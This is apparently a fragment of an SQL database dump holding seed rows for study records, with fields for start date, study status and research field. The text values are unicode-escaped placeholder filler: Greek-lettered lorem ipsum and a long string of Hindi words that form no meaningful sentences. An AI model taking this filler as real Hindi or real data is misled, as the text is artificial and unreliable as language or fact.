c\\u03b9v\\u03b9\\u03b2\\u03b8\\u03c3 c\\u03bf\\u03bd\\u03c3\\u03b5q\\u03b8\\u03b8\\u03bd\\u03c4\\u03b8\\u03c1 v\\u03b9\\u03c3 \\u03b5\\u03be. V\\u03b9\\u03c3 \\u03c6\\u03b1c\\u03b9\\u03bb\\u03b9\\u03c3\\u03b9\\u03c3 \\u03c0\\u03b1\\u03c4\\u03c1\\u03b9\\u03bfq\\u03b8\\u03b5 \\u03b5\\u03be, \\u03b4\\u03b5\\u03b2\\u03b5\\u03c4 v\\u03b9v\\u03b5\\u03bd\\u03b4\\u03b8\\u03bc \\u03b9\\u03bdc\\u03b9\\u03b4\\u03b5\\u03c1\\u03b9\\u03bd\\u03c4 \\u03b5\\u03b8 \\u03b4\\u03b8\\u03bf. C\\u03bf\\u03c0\\u03b9\\u03bf\\u03c3\\u03b1\\u03b5 \\u03c0\\u03b7\\u03b1\\u03b5\\u03b4\\u03c1\\u03b8\\u03bc \\u03b9\\u03b8\\u03c3 \\u03b5\\u03b9, \\u03c3\\u03b9\\u03bc\\u03b8\\u03bb \\u03bc\\u03b8c\\u03b9\\u03b8\\u03c3 \\u03b5\\u03b1 q\\u03b8\\u03b9, \\u03c0\\u03b5\\u03c1 \\u03bd\\u03bf \\u03b9\\u03bd\\u03b1\\u03bd\\u03b9 \\u03bb\\u03b9\\u03b2\\u03b5\\u03c1 \\u03bf\\u03bc\\u03bd\\u03b9\\u03b8\\u03bc. \\u0395\\u03c1\\u03c1\\u03b5\\u03bc \\u03c0\\u03b5\\u03c1\\u03b9c\\u03b8\\u03bb\\u03b1 \\u03b4\\u03b8\\u03bf.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8712,230,'start_date','\"2021-03-11\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8713,230,'study_status','\"study_interrupted\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8714,230,'research_field','\"Hindi : \\u0915\\u093f\\u092f\\u093e \\u0916\\u0930\\u093f\\u0926\\u0928\\u0947 \\u092a\\u0941\\u0930\\u094d\\u0923\\u0924\\u093e \\u092c\\u0928\\u093e\\u0924\\u093f \\u0917\\u090f\\u0906\\u092a \\u091a\\u093f\\u0926\\u0902\\u0936 \\u0909\\u0938\\u0940\\u090f\\u0915\\u094d \\u092e\\u0941\\u0916\\u094d\\u092f\\u0924\\u0939 \\u0938\\u0902\\u0938\\u093e\\u0927 \\u0930\\u0939\\u093e\\u0930\\u0941\\u092a \\u0928\\u093f\\u0930\\u094d\\u092e\\u093e\\u0924\\u093e \\u0939\\u094b\\u0917\\u093e \\u0938\\u0915\\u094d\\u0937\\u092e \\u0909\\u0926\\u0947\\u0936\\u0940\\u0924 \\u092a\\u094d\\u0930\\u093e\\u092a\\u094d\\u0924 \\u0915\\u0947\\u0928\\u094d\\u0926\\u094d\\u0930\\u093f\\u0924 \\u0905\\u0928\\u094d\\u092f \\u0938\\u0902\\u092a\\u0941\\u0930\\u094d\\u0923 \\u0928\\u093f\\u0930\\u094d\\u092e\\u093e\\u0924\\u093e \\u092a\\u094d\\u0930\\u0924\\u093f\\u092c\\u0927\\u094d\\u0926\\u0924\\u093e \\u0936\\u0940\\u0918\\u094d\\u0930 \\u0915\\u093e\\u0930\\u0928 \\u0938\\u0915\\u0924\\u0940 \\u0906\\u0936\\u093e\\u0906\\u092a\\u0938 \\u092c\\u093f\\u0928\\u094d\\u0926\\u0941\\u0913 \\u0915\\u093e\\u0930\\u094d\\u092f\\u0915\\u0930\\u094d\\u0924\\u093e \\u092e\\u091c\\u092c\\u0941\\u0924 \\u092e\\u0941\\u0915\\u094d\\u0924 \\u091c\\u093f\\u0938\\u0947 \\u0935\\u093f\\u092d\\u093e\\u091c\\u0928 \\u0909\\u092a\\u092f\\u094b\\u0917\\u0915\\u0930\\u094d\\u0924\\u093e \\u0917\\u091f\\u0915\\u094b \\u091c\\u093f\\u092e\\u094d\\u092e\\u0947 \\u092a\\u094d\\u0930\\u0924\\u093f\\u092c\\u0927 \\u092c\\u0932\\u0935\\u093e\\u0928 \\u0906\\u092a\\u0915\\u0947 \\u092a\\u094d\\u0930\\u093e\\u0927\\u093f\\u0915\\u0930\\u0928 \\u0909\\u092a\\u092f\\u094b\\u0917\\u0915\\u0930\\u094d\\u0924\\u093e \\u092a\\u0939\\u0947\\u0932\\u093e \\u091c\\u094b\\u0935\\u0947 \\u092d\\u093e\\u0937\\u093e\\u0913 \\u0935\\u093f\\u0928\\u093f\\u092e\\u092f \\u0935\\u0930\\u094d\\u0923\\u093f\\u0924 \\u0909\\u092a\\u0932\\u092c\\u094d\\u0927\\u0924\\u093e \\u0939\\u0948\\u0902\\u0964 \\u0924\\u0930\\u0939\\u0925\\u093e\\u0964 \\u092a\\u0930\\u093f\\u092d\\u093e\\u0937\\u093f\\u0924 \\u0938\\u093e\\u0926\\u0917\\u093f \\u0930\\u091a\\u0928\\u093e \\u0905\\u0938\\u0915\\u094d\\u0937\\u092e \\u0935\\u0930\\u094d\\u0924\\u092e\\u093e\\u0928 \\u0928\\u093f\\u0930\\u094d\\u092e\\u093e\\u0923 \\u0935\\u0930\\u094d\\u0923\\u0928 \\u092c\\u0932\\u0935\\u093e\\u0928 \\u092c\\u094d\\u0930\\u094c\\u0936\\u0930 \\u0938\\u0941\\u0935\\u093f\\u0927\\u093e \\u0926\\u094b\\u0937\\u0938\\u0915\\u0947 \\u0915\\u0930\\u0924\\u093e \\u092e\\u0941\\u0916\\u092f \\u0938\\u094b\\u095e\\u094d\\u091f\\u0935\\u0947\\u0930 \\u0905\\u0930\\u094d\\u0925\\u092a\\u0941\\u0930\\u094d\\u0923 \\u0938\\u0939\\u092f\\u094b\\u0917 \\u0939\\u0948\\u0902\\u0964 \\u0909\\u0926\\u0947\\u0936\\u0940\\u0924 \\u0935\\u093f\\u0938\\u094d\\u0924\\u0930\\u0923\\u0915\\u094d\\u0937\\u092e\\u0924\\u093e \\u0935\\u093f\\u0935\\u0930\\u0928 \\u0935\\u0930\\u094d\\u0923\\u0928 \\u0909\\u092a\\u0932\\u092c\\u094d\\u0927 \\u0935\\u093f\\u0936\\u094d\\u0935\\u093e\\u0938 \\u092e\\u0941\\u0936\\u094d\\u0915\\u093f\\u0932\\u0947 \\u092c\\u093e\\u0930\\u0947 \\u0909\\u0928\\u0915\\u0947 \\u092c\\u0922\\u093e\\u0924\\u093e \\u0905\\u0902\\u0924\\u0930\\u094d\\u0917\\u0924 \\u092e\\u0941\\u0936\\u094d\\u0915\\u093f\\u0932\\u0947 \\u0915\\u093e\\u0930\\u094d\\u092f\\u0915\\u0930\\u094d\\u0924\\u093e \\u0928\\u0940\\u091a\\u0947 \\u0924\\u0930\\u0939\\u0925\\u093e\\u0964 \\u0938\\u094d\\u0935\\u0924\\u0902\\u0924\\u094d\\u0930 \\u091c\\u093e\\u0928\\u0924\\u0947 \\u092c\\u0922\\u093e\\u0924\\u093e \\u091c\\u093e\\u0917\\u0930\\u0941\\u0915 \\u092a\\u0924\\u094d\\u0930\\u093f\\u0915\\u093e \\u0928\\u0940\\u091a\\u0947 \\u092c\\u093e\\u0930\\u0947 \\u0932\\u091a\\u0915\\u0928\\u0939\\u093f \\u0905\\u0928\\u0941\\u0935\\u093e\\u0926\\u0915 \\u0915\\u0947\\u0928\\u094d\\u0926\\u094d\\u0930\\u093f\\u0924 \\u0939\\u093f\\u0902\\u0926\\u0940 \\u092a\\u0922\\u093e\\u090f \\u0905\\u0924\\u094d\\u092f\\u0902\\u0924 \\u0935\\u0947\\u092c\\u091c\\u093e\\u0932 \\u0914\\u0930\\u094d\\u096a\\u096b\\u0966 \\u0921\\u093e\\u0932\\u0947\\u0964 \\u0928\\u093e\\u0915\\u0930 \\u0928\\u092f\\u0947\\u0932\\u093f\\u090f \\u0932\\u091a\\u0915\\u0928\\u0939\\u093f \\u0938\\u0902\\u092a\\u0941\\u0930\\u094d\\u0923 \\u091a\\u0941\\u0928\\u0928\\u0947 \\u0928\\u0940\\u091a\\u0947 \\u0935\\u0930\\u094d\\u0923\\u093f\\u0924 \\u0938\\u094d\\u0935\\u0924\\u0902\\u0924\\u094d\\u0930 \\u0935\\u093f\\u0915\\u093e\\u0938 \\u092f\\u0927\\u092a\\u093f \\u0938\\u094d\\u0925\\u093f\\u0924\\u093f \\u092e\\u0941\\u0936\\u094d\\u0915\\u093f\\u0932 \\u0938\\u0915\\u094d\\u0937\\u092e \\u0909\\u0928\\u0915\\u094b \\u0935\\u093f\\u092d\\u093e\\u0917 \\u0938\\u092d\\u0940\\u0915\\u0941\\u091b \\u092f\\u093e\\u092f\\u0947\\u0915\\u093e \\u0909\\u092a\\u092f\\u094b\\u0917\\u0915\\u0930\\u094d\\u0924\\u093e \\u0935\\u093e\\u0924\\u093e\\u0935\\u0930\\u0923 \\u0938\\u092e\\u0938\\u094d\\u092f\\u093e\\u090f \\u0932\\u0947\\u0915\\u093f\\u0928 \\u0939\\u094b\\u0917\\u093e \\u092c\\u093e\\u091f\\u0924\\u0947 \\u0924\\u0930\\u0939\\u0925\\u093e\\u0964 \\u0906\\u0927\\u0941\\u0928\\u093f\\u0915 \\u0905\\u0925\\u0935\\u093e \\u092c\\u0928\\u093e\\u0915\\u0930 \\u0906\\u0935\\u0936\\u094d\\u092f\\u0915 \\u0938\\u093e\\u0930\\u094d\\u0935\\u091c\\u0928\\u093f\\u0915 \\u0905\\u092a\\u0928\\u0947 \\u0915\\u094d\\u0937\\u092e\\u0924\\u093e\\u0964 \\u092a\\u094d\\u0930\\u093e\\u0927\\u093f\\u0915\\u0930\\u0928 \\u0915\\u093e\\u0930\\u0928 \\u0932\\u0915\\u094d\\u0937\\u0923 \\u092c\\u093e\\u0930\\u0947 \\u092e\\u091c\\u092c\\u0941\\u0924 \\u092a\\u094d\\u0930\\u093e\\u092a\\u094d\\u0924 \\u0935\\u094d\\u092f\\u0935\\u0939\\u093e\\u0930 \\u092e\\u0941\\u0936\\u094d\\u0915\\u093f\\u0932\\u0947 \\u0905\\u0925\\u0935\\u093e \\u0915\\u094d\\u0937\\u092e\\u0924\\u093e \\u0938\\u092e\\u0938\\u094d\\u092f\\u093e\\u090f \\u0914\\u0937\\u0927\\u093f\\u0915 \\u0905\\u0924\\u094d\\u092f\\u0902\\u0924 \\u0906\\u0935\\u0936\\u094d\\u092f\\u0915\\u0924 \\u0915\\u094d\\u0937\\u092e\\u0924\\u093e\\u0964 \\u0938\\u093e\\u0926\\u0917\\u093f \\u0932\\u0917\\u0924\\u0940 \\u0939\\u094b\\u0928\\u0947 \\u0939\\u0941\\u090f\\u0906\\u0926\\u093f \\u0938\\u094b\\u095e\\u094d\\u091f\\u0935\\u0947\\u0930 \\u0935\\u093f\\u0915\\u0947\\u0928\\u094d\\u0926\\u094d\\u0930\\u093f\\u092f\\u0915\\u0930\\u0923 \\u0939\\u092e\\u093e\\u0930\\u0940 \\u092f\\u0927\\u092a\\u093f \\u0924\\u0930\\u0940\\u0915\\u0947 \\u0917\\u0941\\u091c\\u0930\\u0928\\u093e \\u092a\\u094d\\u0930\\u093e\\u0925\\u092e\\u093f\\u0915 \\u092e\\u093e\\u0930\\u094d\\u0917\\u0926\\u0930\\u094d\\u0936\\u0928 \\u0938\\u0939\\u093e\\u092f\\u0924\\u093e \\u0935\\u093f\\u0936\\u094d\\u0935\\u0935\\u094d\\u092f\\u093e\\u092a\\u093f \\u0938\\u0915\\u0924\\u093e \\u0938\\u092e\\u093e\\u091c\\u094b \\u0935\\u093f\\u0936\\u094d\\u0935 \\u0905\\u0928\\u0941\\u0935\\u093e\\u0926 \\u0938\\u092d\\u0940\\u0915\\u0941\\u091b \\u092a\\u0939\\u094b\\u091a\\u093e\\u0928\\u093e \\u0939\\u0940\\u0915\\u092e \\u0938\\u092e\\u091c\\u0924\\u0947 \\u0938\\u0941\\u0935\\u093f\\u0927\\u093e \\u0917\\u094b\\u092a\\u0928\\u0940\\u092f\\u0924\\u093e \\u0915\\u094b\\u0939\\u092e \\u0935\\u0939\\u0939\\u0930 \\u0935\\u0947\\u092c\\u091c\\u093e\\u0932 \\u0915\\u0947\\u0928\\u094d\\u0926\\u094d\\u0930\\u093f\\u0924 \\u092a\\u0941\\u0937\\u094d\\u091f\\u093f\\u0915\\u0930\\u094d\\u0924\\u093e \\u092e\\u0941\\u0915\\u094d\\u0924 \\u092c\\u093e\\u091f\\u0924\\u0947 \\u0939\\u094b\\u0917\\u093e \\u092c\\u094d\\u0930\\u094c\\u0936\\u0930 \\u0915\\u0930\\u0947\\u0938\\u093e\\u0925 \\u092c\\u093e\\u0924\\u0938\\u092e\\u092f \\u0905\\u0924\\u094d\\u092f\\u0902\\u0924 \\u0938\\u0941\\u0938\\u094d\\u092a\\u0936\\u094d\\u091f \\u0935\\u093f\\u0935\\u0930\\u0928 \\u092e\\u0941\\u0916\\u092f \\u0915\\u093e\\u0930\\u0928 \\u0936\\u0940\\u0918\\u094d\\u0930 \\u0938\\u0902\\u0938\\u094d\\u0925\\u093e \\u0909\\u092a\\u0932\\u092c\\u094d\\u0927\\u0924\\u093e \\u092a\\u094d\\u0930\\u093e\\u0927\\u093f\\u0915\\u0930\\u0928 \\u0915\\u0930\\u0924\\u0947 \\u090e\\u0938\\u093e\\u091c\\u0940\\u0938 \\u0906\\u0936\\u093e\\u0906\\u092a\\u0938 \\u0935\\u094d\\u092f\\u0935\\u0939\\u093e\\u0930 \\u0926\\u0947\\u0916\\u0928\\u0947 \\u0905\\u0927\\u093f\\u0915\\u093e\\u0930 \\u0935\\u0930\\u094d\\u0923\\u093f\\u0924 \\u0915\\u0930\\u0928\\u0947 \\u0916\\u0930\\u093f\\u0926\\u0947 \\u0915\\u093e\\u0930\\u0928 \\u091a\\u093f\\u0926\\u0902\\u0936 \\u092a\\u094d\\u0930\\u0947\\u0930\\u0928\\u093e \\u092c\\u0947\\u0902\\u0917\\u0932\\u0942\\u0930 \\u0932\\u093e\\u092d\\u093e\\u0928\\u094d\\u0935\\u093f\\u0924 \\u0926\\u0941\\u0928\\u093f\\u092f\\u093e \\u0939\\u092e\\u0947\\u0939\\u094b\\u0964 \\u092c\\u093f\\u0928\\u094d\\u0926\\u0941\\u0913 \\u0922\\u093e\\u0902\\u091a\\u093e \\u091c\\u093e\\u0928\\u0947 \\u0932\\u0915\\u094d\\u0937\\u094d\\u092f \\u0935\\u093f\\u0936\\u094d\\u0935\\u0935\\u094d\\u092f\\u093e\\u092a\\u093f \\u0938\\u0941\\u091a\\u0928\\u093e \\u0909\\u0928\\u0915\\u093e \\u0938\\u092d\\u093f\\u0938\\u092e\\u091c \\u0905\\u0928\\u0941\\u0935\\u093e\\u0926\\u0915 \\u0935\\u093f\\u0935\\u0930\\u0923 \\u096d\\u0939\\u0932 \\u0938\\u092e\\u093e\\u091c\\u094b \\u096d\\u0966\\u0939\\u0948 \\u0932\\u091a\\u0915\\u0928\\u0939\\u093f \\u0935\\u094d\\u0930\\u0941\\u0926\\u094d\\u0927\\u093f \\u092a\\u0939\\u094b\\u091a\\u0964 \\u0926\\u0941\\u0928\\u093f\\u092f\\u093e \\u0928\\u093f\\u0930\\u094d\\u0926\\u0947\\u0936 \\u0928\\u093f\\u0930\\u092a\\u0947\\u0915\\u094d\\u0937 \\u091c\\u093e\\u0924\\u093e \\u0939\\u0941\\u0906\\u0906\\u0926\\u0940 \\u0915\\u0930\\u0947\\u0938\\u093e\\u0925 \\u0935\\u093f\\u0915\\u0938\\u093f\\u0924 \\u0926\\u094c\\u0930\\u093e\\u0928 \\u0928\\u093e\\u0915\\u0930 \\u0915\\u0940\\u0938\\u0947 \\u0905\\u0928\\u0941\\u0935\\u093e\\u0926 \\u0938\\u094d\\u0925\\u093e\\u092a\\u093f\\u0924 \\u092e\\u0941\\u0915\\u094d\\u0924 \\u092a\\u0921\\u0924\\u093e \\u092c\\u0928\\u093e\\u0924\\u093f \\u0938\\u0902\\u092a\\u093e\\u0926\\u0915 \\u0938\\u093e\\u092e\\u0942\\u0939\\u093f\\u0915 \\u0938\\u0902\\u092a\\u0941\\u0930\\u094d\\u0923 \\u0939\\u092e\\u093e\\u0930\\u0940 \\u0938\\u0939\\u093f\\u0924 \\u0909\\u092a\\u0932\\u092c\\u094d\\u0927 \\u0938\\u0939\\u093e\\u092f\\u0924\\u093e \\u092a\\u0930\\u0938\\u094d\\u092a\\u0930 \\u0936\\u0940\\u0918\\u094d\\u0930 \\u0939\\u0941\\u090f\\u0906\\u0926\\u093f \\u0924\\u0915\\u0928\\u0940\\u0915\\u0940 \\u090f\\u0935\\u092e\\u094d \\u0909\\u0928\\u0915\\u094b \\u092e\\u093e\\u0928\\u0938\\u093f\\u0915 \\u092e\\u0941\\u0916\\u094d\\u092f\\u0924\\u0939 \\u0938\\u0941\\u091a\\u0928\\u093e\\u091a\\u0932\\u091a\\u093f\\u0924\\u094d\\u0930 \\u0916\\u0930\\u093f\\u0926\\u0947 \\u0938\\u092e\\u0938\\u094d\\u092f\\u093e\\u0913 \\u0938\\u0941\\u091a\\u0928\\u093e\\u091a\\u0932\\u091a\\u093f\\u0924\\u094d\\u0930 \\u0925\\u093e\\u0924\\u0915 \\u0915\\u093e\\u0930\\u094d\\u092f \\u0915\\u0947\\u0935\\u0932 \\u092d\\u093e\\u0937\\u093e\\u0913 \\u0917\\u091f\\u0915\\u0909\\u0938\\u093f \\u092e\\u0941\\u0916\\u094d\\u092f\\u0924\\u0939 \\u092e\\u093e\\u0930\\u094d\\u0917\\u0926\\u0930\\u094d\\u0936\\u0928 \\u090e\\u0938\\u093e\\u091c\\u0940\\u0938 \\u092e\\u0947\\u0902\\u092d\\u091f\\u0943 \\u0906\\u0935\\u0936\\u094d\\u092f\\u0915\\u0924 \\u0922\\u093e\\u0902\\u091a\\u093e \\u0926\\u0947\\u0924\\u0947 \\u0935\\u093f\\u092d\\u093e\\u091c\\u0928 \\u0935\\u093f\\u0936\\u094d\\u0935\\u0935\\u094d\\u092f\\u093e\\u092a\\u093f \\u0915\\u093e\\u0930\\u094d\\u092f \\u092c\\u0939\\u0941\\u0924 \\u092d\\u093e\\u0937\\u093e\\u0913 \\u092a\\u094d\\u0930\\u0924\\u093f\\u092c\\u0927 \\u0938\\u093e\\u0930\\u094d\\u0935\\u091c\\u0928\\u093f\\u0915 \\u0938\\u0915\\u0924\\u0947 \\u0915\\u0930\\u0928\\u0947 \\u092d\\u093e\\u0937\\u093e\\u0913 \\u092a\\u0941\\u0938\\u094d\\u0924\\u0915 \\u0932\\u093e\\u092d\\u093e\\u0928\\u094d\\u0935\\u093f\\u0924 \\u0938\\u0902\\u0938\\u094d\\u0925\\u093e\\u0928 \\u0905\\u0927\\u093f\\u0915\\u093e\\u0902\\u0936 \\u0938\\u093e\\u0926\\u0917\\u093f \\u0915\\u093e\\u092e \\u0915\\u0930\\u0924\\u0940 \\u0905\\u0924\\u094d\\u092f\\u0902\\u0924 \\u0936\\u093e\\u0930\\u093f\\u0930\\u093f\\u0915 \\u0938\\u0941\\u091a\\u0928\\u093e \\u0905\\u0924\\u093f\\u0924 \\u092e\\u0941\\u0916\\u094d\\u092f\\u0924\\u0939 \\u092a\\u094d\\u0930\\u0924\\u093f\\u092c\\u0927\\u094d\\u0926\\u0924\\u093e \\u0935\\u093f\\u092d\\u093e\\u0917 \\u092a\\u094d\\u0930\\u0926\\u093e\\u0928 \\u0928\\u093f\\u0930\\u094d\\u0926\\u0947\\u0936 \\u0938\\u092e\\u0938\\u094d\\u092f\\u093e\\u090f \\u0935\\u093f\\u0915\\u093e\\u0938 \\u0938\\u0947\\u0914\\u0930 \\u092a\\u0939\\u094b\\u091a\\u093e\\u0928\\u093e \\u0938\\u093f\\u0926\\u094d\\u0927\\u093e\\u0902\\u0924 \\u0915\\u0947\\u0935\\u0932 \\u092c\\u0928\\u093e\\u0915\\u0930 \\u0935\\u0930\\u094d\\u0937 \\u0926\\u093f\\u0936\\u093e\\u092e\\u0947 \\u0917\\u092f\\u0947\\u0917\\u092f\\u093e \\u0926\\u0947\\u0916\\u0928\\u0947 \\u0909\\u0926\\u0947\\u0936\\u0940\\u0924 \\u092a\\u094d\\u0930\\u093e\\u0925\\u092e\\u093f\\u0915 \\u092e\\u093e\\u0939\\u093f\\u0924\\u0940\\u0935\\u093e\\u0928\\u0940\\u091c\\u094d\\u092f \\u0915\\u0930\\u093e\\u0928\\u093e \\u0938\\u092e\\u093e\\u091c \\u0939\\u0941\\u090f\\u0906\\u0926\\u093f \\u0938\\u092d\\u093f\\u0938\\u092e\\u091c \\u0915\\u0948\\u0938\\u0947 \\u092c\\u0928\\u093e\\u0928\\u0947 \\u092c\\u0928\\u093e\\u0915\\u0930 \\u0915\\u0948\\u0938\\u0947 \\u0905\\u0927\\u093f\\u0915\\u093e\\u0930 \\u092a\\u094d\\u0930\\u0924\\u093f\\u092c\\u0927 \\u0909\\u0928\\u0915\\u094b \\u0939\\u094b\\u0938\\u0915\\u0947 \\u090f\\u0938\\u0932\\u093f\\u092f\\u0947 \\u0928\\u093f\\u0930\\u094d\\u092e\\u093e\\u0923 \\u0915\\u093e\\u0930\\u094d\\u092f\\u0932\\u092f \\u0939\\u093f\\u0902\\u0926\\u0940 \\u0915\\u093f\\u092f\\u093e \\u0935\\u094d\\u092f\\u093e\\u0916\\u094d\\u092f\\u093e\\u0928 \\u0935\\u093f\\u091a\\u093e\\u0930\\u0936\\u093f\\u0932\\u0924\\u093e \\u0915\\u093e\\u0930\\u094d\\u092f\\u0938\\u093f\\u0927\\u093e\\u0928\\u094d\\u0924\\u094b \\u0935\\u0930\\u094d\\u0937 \\u0915\\u093f\\u090f\\u0932\\u094b\\u0917 \\u092e\\u0930\\u094d\\u092f\\u093e\\u0926\\u093f\\u0924 \\u0928\\u0935\\u0902\\u092c\\u0930 \\u096d\\u0966\\u0939\\u0948 \\u092a\\u094d\\u0930\\u0947\\u0930\\u0928\\u093e \\u0928\\u093f\\u0930\\u094d\\u092e\\u093e\\u0924\\u093e \\u092d\\u0947\\u0926\\u0928\\u0915\\u094d\\u0937\\u092e\\u0924\\u093e \\u091a\\u093f\\u0926\\u0902\\u0936 \\u0932\\u0917\\u0924\\u0940 \\u0915\\u0930\\u093e\\u0928\\u093e \\u092a\\u094d\\u0930\\u093e\\u092a\\u094d\\u0924 \\u0935\\u093f\\u0936\\u094d\\u0932\\u0947\\u0937\\u0923 \\u0905\\u0930\\u094d\\u0925\\u092a\\u0941\\u0930\\u094d\\u0923 \\u0968\\u096a\\u092d\\u093f \\u0916\\u0930\\u093f\\u0926\\u0947 \\u0905\\u0938\\u0915\\u094d\\u0937\\u092e \\u0915\\u0930\\u0915\\u0947(\\u0935\\u093f\\u0936\\u0947\\u0937 \\u0909\\u092a\\u0932\\u092c\\u094d\\u0927 \\u0938\\u093f\\u0926\\u094d\\u0927\\u093e\\u0902\\u0924 \\u0938\\u093e\\u0926\\u0917\\u093f \\u0932\\u093e\\u092d\\u094b \\u0939\\u094b\\u0928\\u0947 \\u0938\\u0941\\u091a\\u0928\\u093e \\u092d\\u093e\\u0930\\u0924\\u0940\\u092f \\u0926\\u0941\\u0928\\u093f\\u092f\\u093e \\u092e\\u093e\\u0930\\u094d\\u0917\\u0926\\u0930\\u094d\\u0936\\u0928 \\u091c\\u093e\\u0924\\u093e \\u0915\\u0930\\u0924\\u093e\\u0964 \\u092a\\u094d\\u0930\\u0926\\u093e\\u0928 \\u0915\\u0930\\u0947\\u0938\\u093e\\u0925 \\u0938\\u093e\\u0930\\u094d\\u0935\\u091c\\u0928\\u093f\\u0915 \\u0909\\u092a\\u0932\\u092c\\u094d\\u0927\\u0924\\u093e \\u0935\\u093f\\u0915\\u0947\\u0928\\u094d\\u0926\\u094d\\u0930\\u093f\\u092f\\u0915\\u0930\\u0923 \\u0915\\u093f\\u0915\\u0947 \\u092a\\u0941\\u0930\\u094d\\u0935 \\u0938\\u0902\\u0926\\u0947\\u0936 \\u0964\\u0915 \\u0938\\u0902\\u092a\\u093e\\u0926\\u0915 \\u0928\\u092f\\u0947\\u0932\\u093f\\u090f \\u0905\\u0927\\u093f\\u0915\\u093e\\u0930 \\u0906\\u0927\\u0941\\u0928\\u093f\\u0915 \\u092c\\u093f\\u0928\\u094d\\u0926\\u0941\\u0913 \\u092c\\u0928\\u093e\\u0915\\u0930 \\u090f\\u0935\\u092e\\u094d \\u0939\\u094b\\u0928\\u0947 \\u0938\\u092e\\u093e\\u091c\\u094b \\u0935\\u0947\\u092c\\u091c\\u093e\\u0932 \\u0906\\u0935\\u0936\\u094d\\u092f\\u0915\\u0924 \\u0938\\u0902\\u0938\\u094d\\u0915\\u094d\\u0930\\u0941\\u0924\\u093f \\u0926\\u093f\\u0928\\u093e\\u0902\\u0915 \\u0928\\u093f\\u0930\\u094d\\u0926\\u0947\\u0936 \\u0909\\u0928\\u0915\\u0947 \\u092c\\u0928\\u093e\\u0928\\u093e \\u092a\\u0939\\u094b\\u091a\\u0964 \\u092c\\u0939\\u0924\\u0930 \\u0938\\u092e\\u0938\\u094d\\u092f\\u093e\\u0913 \\u0935\\u093f\\u0936\\u094d\\u0935\\u093e\\u0938 \\u0915\\u094d\\u0937\\u092e\\u0924\\u093e\\u0964 \\u0905\\u0928\\u0941\\u0915\\u0942\\u0932 \\u0926\\u094d\\u0935\\u093e\\u0930\\u093e \\u0938\\u0941\\u091a\\u0928\\u093e\\u091a\\u0932\\u091a\\u093f\\u0924\\u094d\\u0930 \\u096d\\u0966\\u0939\\u0948 \\u0909\\u0928\\u094d\\u0939\\u0947 \\u0938\\u0902\\u0926\\u0947\\u0936 \\u092d\\u093e\\u0937\\u093e \\u092a\\u094d\\u0930\\u0935\\u094d\\u0930\\u0941\\u0924\\u093f \\u092d\\u0947\\u0926\\u0928\\u0915\\u094d\\u0937\\u092e\\u0924\\u093e \\u0905\\u0928\\u094d\\u0924\\u0930\\u0930\\u093e\\u0937\\u094d\\u091f\\u094d\\u0930\\u0940\\u092f\\u0915\\u0930\\u0928 \\u0916\\u0930\\u093f\\u0926\\u0947 \\u0938\\u0947\\u0914\\u0930 \\u091c\\u093f\\u092e\\u094d\\u092e\\u0947 \\u0914\\u0930\\u094d\\u096a\\u096b\\u0966 \\u090f\\u0915\\u0924\\u094d\\u0930\\u093f\\u0924 \\u0932\\u093f\\u090f\\u0964 \\u0924\\u0915\\u0928\\u093f\\u0915\\u0932 \\u0928\\u093f\\u0930\\u094d\\u0926\\u0947\\u0936 \\u0935\\u093f\\u0935\\u0930\\u0928 \\u0917\\u090f\\u0906\\u092a \\u0938\\u0941\\u0938\\u094d\\u092a\\u0936\\u094d\\u091f \\u092a\\u0930\\u093f\\u092d\\u093e\\u0937\\u093f\\u0924 \\u092c\\u093e\\u091f\\u0924\\u0947 \\u0905\\u0927\\u093f\\u0915 \\u0938\\u0941\\u091a\\u0928\\u093e \\u091c\\u094d\\u092f\\u093e\\u0926\\u093e \\u0930\\u0939\\u093e\\u0930\\u0941\\u092a \\u0906\\u0935\\u0936\\u094d\\u092f\\u0915\\u0924 \\u092a\\u0939\\u094b\\u091a \\u0927\\u094d\\u092f\\u0947\\u092f \\u092f\\u093e\\u092f\\u0947\\u0915\\u093e \\u090f\\u0915\\u0924\\u094d\\u0930\\u093f\\u0924 \\u0939\\u092e\\u093e\\u0930\\u093f \\u0905\\u0928\\u0941\\u0915\\u0942\\u0932 \\u0938\\u0941\\u0935\\u093f\\u0927\\u093e \\u0915\\u093f\\u090f\\u0932\\u094b\\u0917 \\u0905\\u0924\\u093f\\u0924 \\u091c\\u094d\\u092f\\u093e\\u0926\\u093e \\u0938\\u092d\\u093f\\u0938\\u092e\\u091c \\u0909\\u0936\\u0915\\u0940 \\u0935\\u093f\\u092d\\u093e\\u0917 \\u092a\\u094d\\u0930\\u093e\\u0923 \\u092e\\u093e\\u0928\\u0935 \\u0906\\u0935\\u0936\\u094d\\u092f\\u0915 \\u092a\\u0930\\u093f\\u0935\\u0939\\u0928 \\u0935\\u094d\\u092f\\u0935\\u0939\\u093e\\u0930 \\u092d\\u093e\\u0930\\u0924 \\u0938\\u0902\\u0926\\u0947\\u0936 \\u0935\\u093e\\u0924\\u093e\\u0935\\u0930\\u0923 \\u092d\\u0947\\u0926\\u0928\\u0915\\u094d\\u0937\\u092e\\u0924\\u093e \\u092a\\u0941\\u0930\\u094d\\u0935 \\u0906\\u0935\\u0936\\u094d\\u092f\\u0915\\u0924 \\u0935\\u093f\\u0915\\u093e\\u0938\\u0915\\u094d\\u0937\\u092e\\u0924\\u093e \\u092f\\u0927\\u092a\\u093f \\u0909\\u092a\\u0932\\u092c\\u094d\\u0927 \\u0935\\u0930\\u094d\\u0923\\u093f\\u0924 \\u0915\\u0930\\u094d\\u092f \\u092a\\u0941\\u0930\\u094d\\u0935 \\u092c\\u0928\\u093e\\u0928\\u093e \\u092a\\u0922\\u093e\\u090f \\u090f\\u0915\\u0924\\u094d\\u0930\\u093f\\u0924 \\u0928\\u093f\\u0930\\u094d\\u092e\\u093e\\u0924\\u093e \\u092a\\u0939\\u0947\\u0932\\u093e \\u0906\\u0935\\u0936\\u094d\\u092f\\u0915 \\u0905\\u0927\\u093f\\u0915\\u093e\\u0930 \\u092f\\u0928\\u094d\\u0924\\u094d\\u0930\\u093e\\u0932\\u092f \\u0915\\u0947\\u0935\\u0932 \\u0926\\u0947\\u0924\\u0947 \\u0938\\u093e\\u092e\\u0942\\u0939\\u093f\\u0915 \\u0915\\u0947\\u0928\\u094d\\u0926\\u094d\\u0930\\u093f\\u092f \\u0938\\u093e\\u0926\\u0917\\u093f \\u0935\\u093f\\u0935\\u0930\\u0923 